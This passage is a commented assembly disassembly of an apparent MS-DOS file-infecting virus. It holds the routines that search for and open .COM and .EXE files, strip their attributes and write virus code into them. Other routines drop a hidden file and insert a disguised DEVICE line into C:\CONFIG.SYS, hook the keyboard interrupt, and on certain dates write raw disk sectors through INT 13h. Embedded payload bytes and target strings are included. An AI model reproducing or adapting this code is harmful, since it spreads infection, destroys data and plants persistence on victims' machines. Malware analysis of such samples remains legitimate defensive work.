  624. ;                   SUBROUTINE
  625. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  626.  
  627. sub_04DE    proc    near
  628.         cmp    data_011B,2
  629.         ja    loc_04E8        ; Jump if above
  630.         xor    ax,ax            ; Zero register
  631.         retn
  632. loc_04E8:
  633.         mov    al,data_0133
  634.         and    al,1
  635.         retn
  636. sub_04DE    endp
  637.  
  638.  
  639. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  640. ;                   SUBROUTINE
  641. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  642.  
  643. sub_04EE    proc    near
  644.         cmp    data_0133,0Fh
  645.         jb    loc_0507        ; Jump if below
  646.         mov    al,data_0135
  647.         cmp    al,13h
  648.         jb    loc_0507        ; Jump if below
  649.         mov    ax,40h
  650.         mov    es,ax
  651.         mov    byte ptr es:d_0040_004A_e,23h    ; '#'
  652. loc_0507:
  653.         cmp    data_0133,0Dh
  654.         jne    loc_ret_0524        ; Jump if not equal
  655.         cmp    data_0134,5
  656.         jne    loc_ret_0524        ; Jump if not equal
  657.         mov    ax,301h
  658.         mov    cx,1
  659.         mov    dx,50h
  660.         xor    bx,bx            ; Zero register
  661.         mov    es,bx
  662.         int    13h            ; Disk  dl=drive ?  ah=func 03h
  663.                         ;  write sectors from mem es:bx
  664.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  665.  
  666. loc_ret_0524:
  667.         retn
  668. sub_04EE    endp
  669.  
  670.  
  671. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  672. ;                   SUBROUTINE
  673. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  674.  
  675. sub_0525    proc    near
  676.         mov    data_019B,1
  677.         lea    dx,data_05C1        ; Load effective addr
  678.         mov    cx,27h
  679.         mov    ah,4Eh            ; 'N'
  680.         int    21h            ; DOS Services  ah=function 4Eh
  681.                         ;  find 1st filenam match @ds:dx
  682.         jnc    loc_0564        ; Jump if carry=0
  683.         mov    ah,3Ch            ; '<'
  684.         mov    cx,6
  685.         int    21h            ; DOS Services  ah=function 3Ch
  686.                         ;  create/truncate file @ ds:dx
  687.         mov    bx,ax
  688.         lea    dx,data_05EE        ; Load effective addr
  689.         mov    cx,data_070A
  690.         mov    si,dx
  691.         add    si,data_00B3_e
  692.         mov    ax,data_0130
  693.         mov    [si],ax
  694.         mov    ah,data_0132
  695.         mov    [si+2],ah
  696.         mov    ah,40h            ; '@'
  697.         int    21h            ; DOS Services  ah=function 40h
  698.                         ;  write file  bx=file handle
  699.                         ;   cx=bytes from ds:dx buffer
  700.         mov    ah,3Eh            ; '>'
  701.         int    21h            ; DOS Services  ah=function 3Eh
  702.                         ;  close file, bx=file handle
  703.         jc    loc_05BD        ; Jump if carry Set
  704. loc_0564:
  705.         lea    dx,data_05C7        ; Load effective addr
  706.         mov    cx,27h
  707.         mov    ah,4Eh            ; 'N'
  708.         int    21h            ; DOS Services  ah=function 4Eh
  709.                         ;  find 1st filenam match @ds:dx
  710.         jc    loc_05BD        ; Jump if carry Set
  711.         call    sub_036C
  712.         xor    cx,cx            ; Zero register
  713.         mov    ax,4301h
  714.         int    21h            ; DOS Services  ah=function 43h
  715.                         ;  set attrb cx, filename @ds:dx
  716.         mov    ax,3D02h
  717.         int    21h            ; DOS Services  ah=function 3Dh
  718.                         ;  open file, al=mode,name@ds:dx
  719.         mov    bx,ax
  720.         jc    loc_05BD        ; Jump if carry Set
  721.         mov    cx,data_0108
  722.         push    es
  723.         push    ds
  724.         mov    ax,word ptr data_012C+2
  725.         mov    ds,ax
  726.         mov    es,ax
  727.         xor    dx,dx            ; Zero register
  728.         mov    ah,3Fh            ; '?'
  729.         int    21h            ; DOS Services  ah=function 3Fh
  730.                         ;  read file, bx=file handle
  731.                         ;   cx=bytes to ds:dx buffer
  732.         pop    ds
  733.         mov    dx,ax
  734.         mov    ax,0FFFFh
  735.         xor    di,di            ; Zero register
  736.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  737.         cmp    ax,es:[di-1]
  738.         pop    es
  739.         jz    loc_05BD        ; Jump if zero
  740.         mov    ax,4200h
  741.         xor    cx,cx            ; Zero register
  742.         dec    dx
  743.         int    21h            ; DOS Services  ah=function 42h
  744.                         ;  move file ptr, bx=file handle
  745.                         ;   al=method, cx,dx=offset
  746.         jc    loc_05BD        ; Jump if carry Set
  747.         lea    dx,data_05D5        ; Load effective addr
  748.         mov    cx,19h
  749.         mov    ah,40h            ; '@'
  750.         int    21h            ; DOS Services  ah=function 40h
  751.                         ;  write file  bx=file handle
  752.                         ;   cx=bytes from ds:dx buffer
  753. loc_05BD:
  754.         call    sub_037D
  755.         retn
  756. sub_0525    endp
  757.  
  758. data_05C1    db    43h
  759.         db     3Ah, 5Ch,0FFh,0FFh, 00h
  760. data_05C7    db    'C:\CONFIG.SYS', 0
  761. data_05D5    db    'DEVICE ='
  762.         db    0FFh,0FFh
  763.         db    ' COUNTRY.SYS', 0Dh, 0Ah
  764.         db    1Ah
  765. data_05EE    db    0FFh
  766.         db    0FFh,0FFh,0FFh, 40h,0C8h, 16h
  767.         db     00h, 21h, 00h
  768.         db    'hgt42   '
  769.         db     00h, 00h, 00h, 00h, 2Eh, 89h
  770.         db     1Eh, 12h, 00h, 2Eh, 8Ch, 06h
  771.         db     14h, 00h,0CBh, 1Eh, 06h, 0Eh
  772.         db     1Fh,0C4h, 3Eh, 12h, 00h, 26h
  773.         db     8Ah, 45h, 02h, 3Ch, 00h, 75h
  774.         db     03h,0E8h, 82h, 00h
  775.         db     0Dh, 00h, 10h, 26h, 89h, 45h
  776.         db     03h, 07h, 1Fh,0CBh, 50h, 53h
  777.         db     51h, 1Eh
  778.         db    0E4h, 60h,0A8h, 80h, 75h, 30h
  779.         db     2Eh, 8Bh, 1Eh,0A9h, 00h, 3Ah
  780.         db    0C7h, 75h, 27h,0B8h, 40h, 00h
  781.         db     8Eh,0D8h,0E8h, 28h, 00h, 25h
  782.         db     05h, 00h, 8Bh,0C8h
  783.         db    0BBh, 1Ch, 00h
  784.  
  785. locloop_064F:
  786.         mov    ax,cs:data_00A9_e
  787.         mov    [bx],ax
  788.         add    bx,2
  789.         cmp    bx,3Fh
  790.         jb    loc_0660        ; Jump if below
  791.         mov    bx,1Eh
  792. loc_0660:
  793.         mov    word ptr ds:[1Ch],bx
  794.         loop    locloop_064F        ; Loop if cx > 0
  795.  
  796. loc_0666:
  797.         pop    ds
  798.         pop    cx
  799.         pop    bx
  800.         pop    ax
  801.         jmp    dword ptr cs:data_00A3_e
  802.  
  803. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  804. ;                   SUBROUTINE
  805. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  806.  
  807. sub_066F    proc    near
  808.         mov    ax,cs:data_00A7_e
  809.         push    ax
  810.         and    ah,0B4h
  811.         pop    ax
  812.         jp    loc_067B        ; Jump if parity=1
  813.         stc                ; Set carry flag
  814. loc_067B:
  815.         rcl    ax,1            ; Rotate thru carry
  816.         mov    cs:data_00A7_e,ax
  817.         retn
  818. sub_066F    endp
  819.  
  820.         db    'hgt42   '
  821.         db     00h, 56h, 31h, 00h, 46h, 52h
  822.         db     44h, 00h, 00h, 00h, 00h, 00h
  823.         db     00h, 65h, 12h, 65h, 73h, 74h
  824.         db     6Eh, 12h, 1Fh, 14h, 31h,0CDh
  825.         db    0ABh,0EFh
  826.         db     06h, 57h,0B4h, 2Ah,0CDh, 21h
  827.         db     8Ah,0E6h, 3Bh, 0Eh,0B3h, 00h
  828.         db     74h, 03h, 80h,0C4h
  829.         db    0Ch
  830. loc_06B5:
  831.         sub    ah,ds:data_00B5_e
  832.         cmp    ah,3
  833.         jb    loc_06FB        ; Jump if below
  834.         mov    ds:data_00B5_e,dh
  835.         mov    ds:data_00B3_e,cx
  836.         mov    ah,2Ch            ; ','
  837.         int    21h            ; DOS Services  ah=function 2Ch
  838.                         ;  get time, cx=hrs/min, dx=sec
  839.         mov    ds:data_00A7_e,dx
  840.         call    sub_066F
  841.         mov    bx,ax
  842.         and    bx,3
  843.         nop                ;*ASM fixup - sign extn byte
  844.         mov    al,ds:data_00AB_e[bx]
  845.         mov    ah,ds:data_00AF_e[bx]
  846.         mov    ds:data_00A9_e,ax
  847.         mov    ax,3516h
  848.         int    21h            ; DOS Services  ah=function 35h
  849.                         ;  get intrpt vector al in es:bx
  850.         mov    ds:data_00A3_e,bx
  851.         mov    bx,es
  852.         mov    word ptr ds:data_00A3_e+2,bx
  853.         cli                ; Disable interrupts
  854. ;*        mov    dx,offset loc_003E    ;*
  855.         db    0BAh, 3Eh, 00h
  856.         mov    ax,2516h
  857.         int    21h            ; DOS Services  ah=function 25h
  858.                         ;  set intrpt vector al to ds:dx
  859.         sti                ; Enable interrupts
  860. loc_06FB:
  861.         pop    di
  862.         pop    es
  863.         mov    word ptr es:[di+0Eh],0B6h
  864.         mov    es:[di+10h],cs
  865.         xor    ax,ax            ; Zero register
  866.         retn
  867. data_070A    dw    11Ch
  868. data_070C    db    8Bh
  869.         db     1Eh, 28h, 01h,0A1h, 26h, 01h
  870.         db     8Eh,0D0h, 8Bh, 26h, 24h, 01h
  871.         dw    0EC83h, 8B04h
  872.         dw    80F4h, 1F3Eh
  873.         dw    1, 2875h
  874.         dw    0BFh, 3601h
  875.         dw    3C89h, 0FB8Bh
  876.         dw    8936h, 27Ch
  877.         dw    0FF33h, 8936h
  878.         dw    47Ch, 0BFh
  879.         dw    8B01h, 2236h
  880.         dw    301h, 8BF7h
  881.         dw    1C0Eh, 8C01h
  882.         dw    8ED8h, 0F3C0h
  883.         dw    0EBA4h, 9016h
  884.         db     8Bh,0FBh, 83h,0C7h, 10h,0A1h
  885.         db     16h, 00h, 03h,0F8h, 36h, 89h
  886.         db     7Ch, 02h, 8Bh, 3Eh, 14h, 00h
  887.         db     36h, 89h
  888.         db    3Ch
  889.         db     8Eh,0DBh, 8Eh,0C3h,0CBh
  890. loc_0767:
  891.         mov    ax,ss
  892.         mov    cs:data_0126,ax
  893.         mov    cs:data_0124,sp
  894.         mov    ax,cs
  895.         mov    ss,ax
  896.         mov    sp,1F7h
  897.         push    ds
  898.         mov    ds,ax
  899.         pop    ax
  900.         mov    data_0128,ax
  901.         call    sub_0269
  902.         mov    ax,cs
  903.         mov    es,ax
  904.         call    sub_01F7
  905.         mov    dx,offset data_019D
  906.         mov    ah,1Ah
  907.         int    21h            ; DOS Services  ah=function 1Ah
  908.                         ;  set DTA(disk xfer area) ds:dx
  909.         call    sub_02AF
  910.         call    sub_02A5
  911.         jnc    loc_079C        ; Jump if carry=0
  912.         jmp    loc_083A
  913. loc_079C:
  914.         call    sub_0227
  915.         jc    loc_07A4        ; Jump if carry Set
  916.         jmp    loc_083A
  917. loc_07A4:
  918.         call    sub_023A
  919.         call    sub_02D0
  920.         mov    data_011E,0
  921. loc_07AF:
  922.         call    sub_0355
  923.         jc    loc_0800        ; Jump if carry Set
  924. loc_07B4:
  925.         cmp    data_019C,4
  926.         ja    loc_083A        ; Jump if above
  927.         call    sub_036C
  928.         call    sub_034D
  929.         jnc    loc_07FA        ; Jump if carry=0
  930.         cmp    data_010A,4
  931.         ja    loc_07FA        ; Jump if above
  932.         call    sub_03A6
  933.         jc    loc_083A        ; Jump if carry Set
  934.         cmp    data_011E,0
  935.         je    loc_07DB        ; Jump if equal
  936.         call    sub_03BB
  937.         jmp    short loc_07DE
  938. loc_07DB:
  939.         call    sub_0472
  940. loc_07DE:
  941.         call    sub_037D
  942.         jc    loc_083A        ; Jump if carry Set
  943.         inc    data_019C
  944.         cmp    data_019B,1
  945.         je    loc_07FA        ; Jump if equal
  946.         call    sub_04DE
  947.         jz    loc_07FA        ; Jump if zero
  948.         call    sub_0525
  949.         jc    loc_083A        ; Jump if carry Set
  950.         jmp    short loc_07AF
  951. loc_07FA:
  952.         mov    ah,4Fh            ; 'O'
  953.         int    21h            ; DOS Services  ah=function 4Fh
  954.                         ;  find next filename match
  955.         jnc    loc_07B4        ; Jump if carry=0
  956. loc_0800:
  957.         cmp    data_011E,1
  958.         je    loc_080E        ; Jump if equal
  959.         mov    data_011E,1
  960.         jmp    short loc_07AF
  961. loc_080E:
  962.         mov    data_011E,0
  963.         cmp    data_019A,0
  964.         jne    loc_0829        ; Jump if not equal
  965.         lea    dx,data_015A        ; ('C:\') Load effective addr
  966.         mov    ah,3Bh            ; ';'
  967.         int    21h            ; DOS Services  ah=function 3Bh
  968.                         ;  set current dir, path @ ds:dx
  969.         mov    data_019A,0FFh
  970.         jmp    short loc_07AF
  971. loc_0829:
  972.         cmp    data_0182,0
  973.         je    loc_083A        ; Jump if equal
  974.         call    sub_0328
  975.         dec    data_0182
  976.         jmp    loc_07AF
  977. loc_083A:
  978.         lea    dx,data_013A        ; ('\DANGER\1888') Load effective addr
  979.         mov    ah,3Bh            ; ';'
  980.         int    21h            ; DOS Services  ah=function 3Bh
  981.                         ;  set current dir, path @ ds:dx
  982.         call    sub_04DE
  983.         jz    loc_084A        ; Jump if zero
  984.         call    sub_04EE
  985. loc_084A:
  986.         mov    ax,word ptr data_012C+2
  987.         mov    es,ax
  988.         mov    cx,5Bh
  989.         mov    si,offset data_070C
  990.         xor    di,di            ; Zero register
  991.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  992.         call    sub_028C
  993.         call    data_012C
  994.         int    20h            ; DOS program terminate
  995.         db    0E9h, 64h, 06h, 20h,0A4h, 86h
  996.         db    0FCh, 18h, 02h, 00h, 00h, 00h
  997.         db     31h, 2Eh, 43h, 4Fh, 4Dh, 00h
  998.         db     20h, 20h, 4Dh, 00h, 00h, 00h
  999.         db    0A6h, 24h, 00h, 00h, 60h, 07h
  1000.         db     00h, 00h, 60h, 07h, 60h, 07h
  1001.         db    0FEh,0FFh, 6Ch, 0Dh, 6Ch, 0Dh
  1002.         db     94h, 92h, 00h, 00h, 01h, 9Eh
  1003.         db    0C8h, 07h, 07h, 1Ch, 02h, 10h
  1004.         db     00h, 00h, 00h, 00h, 5Ch, 00h
  1005.         db     4Fh, 53h, 53h, 49h, 00h, 45h
  1006.         db     4Eh, 00h
  1007.         db     53h, 54h
  1008.         db    20 dup (0)
  1009.         db    'C:\', 0
  1010.         db    '*', 0
  1011.         db    'NETWARE', 0
  1012.         db    'LMS', 0
  1013.         db    'MAUS', 0
  1014.         db    'MDB', 0
  1015.         db    'DOS', 0
  1016.         db    'BASE', 0
  1017.         db    'L', 0
  1018.         db    '`'
  1019.         db     01h, 00h, 01h, 14h, 17h, 6Eh
  1020.         db     00h, 01h,0A9h, 00h, 01h,0BFh
  1021.         db     38h, 2Ah, 2Eh, 65h, 78h, 65h
  1022.         db     00h, 2Ah, 2Eh, 63h, 6Fh, 6Dh
  1023.         db     00h, 00h, 00h, 04h, 01h
  1024.         db    3Fh
  1025.         db    7 dup (3Fh)
  1026.         db     43h, 4Fh, 4Dh, 23h, 0Ah, 00h
  1027.         db     00h, 00h, 31h,0C0h, 50h, 9Ah
  1028.         db     20h,0A4h, 86h,0FCh, 18h, 02h
  1029.         db     00h, 00h, 00h, 31h, 2Eh, 43h
  1030.         db     4Fh, 4Dh, 00h, 20h, 20h, 4Dh
  1031.         db     00h, 00h, 00h,0A6h,0EAh,0AAh
  1032.         db     03h, 00h,0CCh,0AAh, 03h, 00h
  1033.         db     00h, 31h, 31h, 00h, 40h, 48h
  1034.         db     07h, 00h, 40h, 6Ch, 15h, 6Ch
  1035.         db     15h, 00h, 40h, 05h, 00h, 60h
  1036.         db     07h, 00h, 01h,0C8h, 01h, 19h
  1037.         db     01h, 82h, 08h, 6Ch, 0Dh, 6Ch
  1038.         db     0Dh,0ADh, 04h, 6Ch, 0Dh, 46h
  1039.         db     72h,0DEh, 07h
  1040.  
  1041. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1042. ;                   SUBROUTINE
  1043. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1044.  
  1045. sub_0959    proc    near
  1046.         cmp    data_011C,0
  1047.         jne    loc_0969        ; Jump if not equal
  1048.         mov    ax,760h
  1049.         mov    data_011C,ax
  1050.         mov    data_0120,ax
  1051. loc_0969:
  1052.         mov    al,data_011E
  1053.         mov    data_011F,al
  1054.         mov    ax,data_0120
  1055.         mov    data_0122,ax
  1056.         inc    data_0119
  1057.         mov    data_019C,0
  1058.         mov    data_019A,0
  1059.         mov    data_019B,0
  1060.         retn
  1061. sub_0959    endp
  1062.  
  1063.  
  1064. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1065. ;                   SUBROUTINE
  1066. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1067.  
  1068. sub_0989    proc    near
  1069.         lea    dx,data_0183        ; Load effective addr
  1070.         xor    al,al            ; Zero register
  1071.         mov    ah,3Dh            ; '='
  1072.         int    21h            ; DOS Services  ah=function 3Dh
  1073.                         ;  open file, al=mode,name@ds:dx
  1074.         jc    loc_ret_099B        ; Jump if carry Set
  1075.         mov    bx,ax
  1076.         mov    ah,3Eh            ; '>'
  1077.         int    21h            ; DOS Services  ah=function 3Eh
  1078.                         ;  close file, bx=file handle
  1079.  
  1080. loc_ret_099B:
  1081.         retn
  1082. sub_0989    endp
  1083.  
  1084.  
  1085. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1086. ;                   SUBROUTINE
  1087. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1088.  
  1089. sub_099C    proc    near
  1090.         mov    ah,2Ah            ; '*'
  1091.         int    21h            ; DOS Services  ah=function 2Ah
  1092.                         ;  get date, cx=year, dh=month
  1093.                         ;   dl=day, al=day-of-week 0=SUN
  1094.         mov    ah,dh
  1095.         cmp    cx,data_0130
  1096.         je    loc_09AB        ; Jump if equal
  1097.         add    ah,0Ch
  1098. loc_09AB:
  1099.         sub    ah,data_0132
  1100.         mov    data_011B,ah
  1101.         mov    data_0134,al
  1102.         mov    data_0133,dl
  1103.         mov    data_0132,dh
  1104.         mov    data_0130,cx
  1105.         mov    ah,2Ch            ; ','
  1106.         int    21h            ; DOS Services  ah=function 2Ch
  1107.                         ;  get time, cx=hrs/min, dx=sec
  1108.         mov    data_0135,ch
  1109.         retn
  1110. sub_099C    endp
  1111.  
  1112.  
  1113. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1114. ;                   SUBROUTINE
  1115. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1116.  
  1117. sub_09CB    proc    near
  1118.         mov    ax,es
  1119.         dec    ax
  1120.         push    es
  1121.         mov    es,ax
  1122.         mov    ax,es:d_8B38_0003_e
  1123.         mov    data_012A,ax
  1124.         pop    es
  1125.         mov    bx,ax
  1126.         sub    bx,200h
  1127.         mov    ah,4Ah            ; 'J'
  1128.         int    21h            ; DOS Services  ah=function 4Ah
  1129.                         ;  change memory allocation
  1130.                         ;   bx=bytes/16, es=mem segment
  1131.         mov    bx,150h
  1132.         mov    ah,48h            ; 'H'
  1133.         int    21h            ; DOS Services  ah=function 48h
  1134.                         ;  allocate memory, bx=bytes/16
  1135.         mov    word ptr data_012C+2,ax
  1136.         retn
  1137. sub_09CB    endp
  1138.  
  1139.  
  1140. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1141. ;                   SUBROUTINE
  1142. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1143.  
  1144. sub_09EE    proc    near
  1145.         push    es
  1146.         mov    ax,word ptr data_012C+2
  1147.         mov    es,ax
  1148.         mov    ah,49h            ; 'I'
  1149.         int    21h            ; DOS Services  ah=function 49h
  1150.                         ;  release memory block, es=seg
  1151.         mov    ax,data_0128
  1152.         mov    es,ax
  1153.         mov    bx,data_012A
  1154.         mov    ah,4Ah            ; 'J'
  1155.         int    21h            ; DOS Services  ah=function 4Ah
  1156.                         ;  change memory allocation
  1157.                         ;   bx=bytes/16, es=mem segment
  1158.         pop    es
  1159.         retn
  1160. sub_09EE    endp
  1161.  
  1162.  
  1163. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1164. ;                   SUBROUTINE
  1165. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1166.  
  1167. sub_0A07    proc    near
  1168.         push    ds
  1169.         mov    ah,1Bh
  1170.         int    21h            ; DOS Services  ah=function 1Bh
  1171.                         ;  get disk info, default drive
  1172.                         ;   al=sectors per cluster
  1173.                         ;   ds:bx=ptr to media ID byte
  1174.                         ;   cx=sector size, dx=clusters
  1175.         cmp    byte ptr [bx],0F8h
  1176.         pop    ds
  1177.         retn
  1178. sub_0A07    endp
  1179.  
  1180.  
  1181. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1182. ;                   SUBROUTINE
  1183. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1184.  
  1185. sub_0A11    proc    near
  1186.         lea    si,data_019D        ; Load effective addr
  1187.         mov    di,si
  1188.         xor    dl,dl            ; Zero register
  1189.         mov    ah,47h            ; 'G'
  1190.         int    21h            ; DOS Services  ah=function 47h
  1191.                         ;  get present dir,drive dl,1=a:
  1192.                         ;   ds:si=ASCIIZ directory name
  1193.         mov    cx,30h
  1194.         mov    al,0
  1195.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  1196.         mov    cx,di
  1197.         sub    cx,si
  1198.         lea    di,data_013A        ; ('\DANGER\1888') Load effective addr
  1199.         mov    al,5Ch            ; '\'
  1200.         stosb                ; Store al to es:[di]
  1201.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  1202.         retn
  1203. sub_0A11    endp
  1204.  
  1205.  
  1206. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1207. ;                   SUBROUTINE
  1208. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1209.  
  1210. sub_0A32    proc    near
  1211.         mov    data_0182,0
  1212.         lea    bx,cs:[160h]        ; Load effective addr
  1213.         add    bx,20h
  1214.         mov    data_0180,bx
  1215.         sub    bx,20h
  1216.         lea    dx,data_015A+4        ; ('*') Load effective addr
  1217.         mov    cx,33h
  1218.         mov    ah,4Eh            ; 'N'
  1219.         int    21h            ; DOS Services  ah=function 4Eh
  1220.                         ;  find 1st filenam match @ds:dx
  1221.         jc    loc_0A81        ; Jump if carry Set
  1222. loc_0A52:
  1223.         lea    di,data_019D        ; Load effective addr
  1224.         add    di,1Eh
  1225.         cmp    byte ptr [di],2Eh    ; '.'
  1226.         je    loc_0A7B        ; Jump if equal
  1227.         mov    si,di
  1228.         mov    cx,20h
  1229.         mov    al,0
  1230.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  1231.         mov    cx,di
  1232.         sub    cx,si
  1233.         mov    di,bx
  1234.         add    bx,cx
  1235.         cmp    bx,data_0180
  1236.         ja    loc_0A81        ; Jump if above
  1237.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  1238.         inc    data_0182
  1239. loc_0A7B:
  1240.         mov    ah,4Fh            ; 'O'
  1241.         int    21h            ; DOS Services  ah=function 4Fh
  1242.                         ;  find next filename match
  1243.         jnc    loc_0A52        ; Jump if carry=0
  1244. loc_0A81:
  1245.         lea    bx,cs:[160h]        ; Load effective addr
  1246.         mov    data_0180,bx
  1247.         retn
  1248. sub_0A32    endp
  1249.  
  1250.  
  1251. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1252. ;                   SUBROUTINE
  1253. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1254.  
  1255. sub_0A8A    proc    near
  1256.         cmp    data_0182,0
  1257.         je    loc_ret_0AAE        ; Jump if equal
  1258.         lea    dx,data_013A        ; ('\DANGER\1888') Load effective addr
  1259.         mov    ah,3Bh            ; ';'
  1260.         int    21h            ; DOS Services  ah=function 3Bh
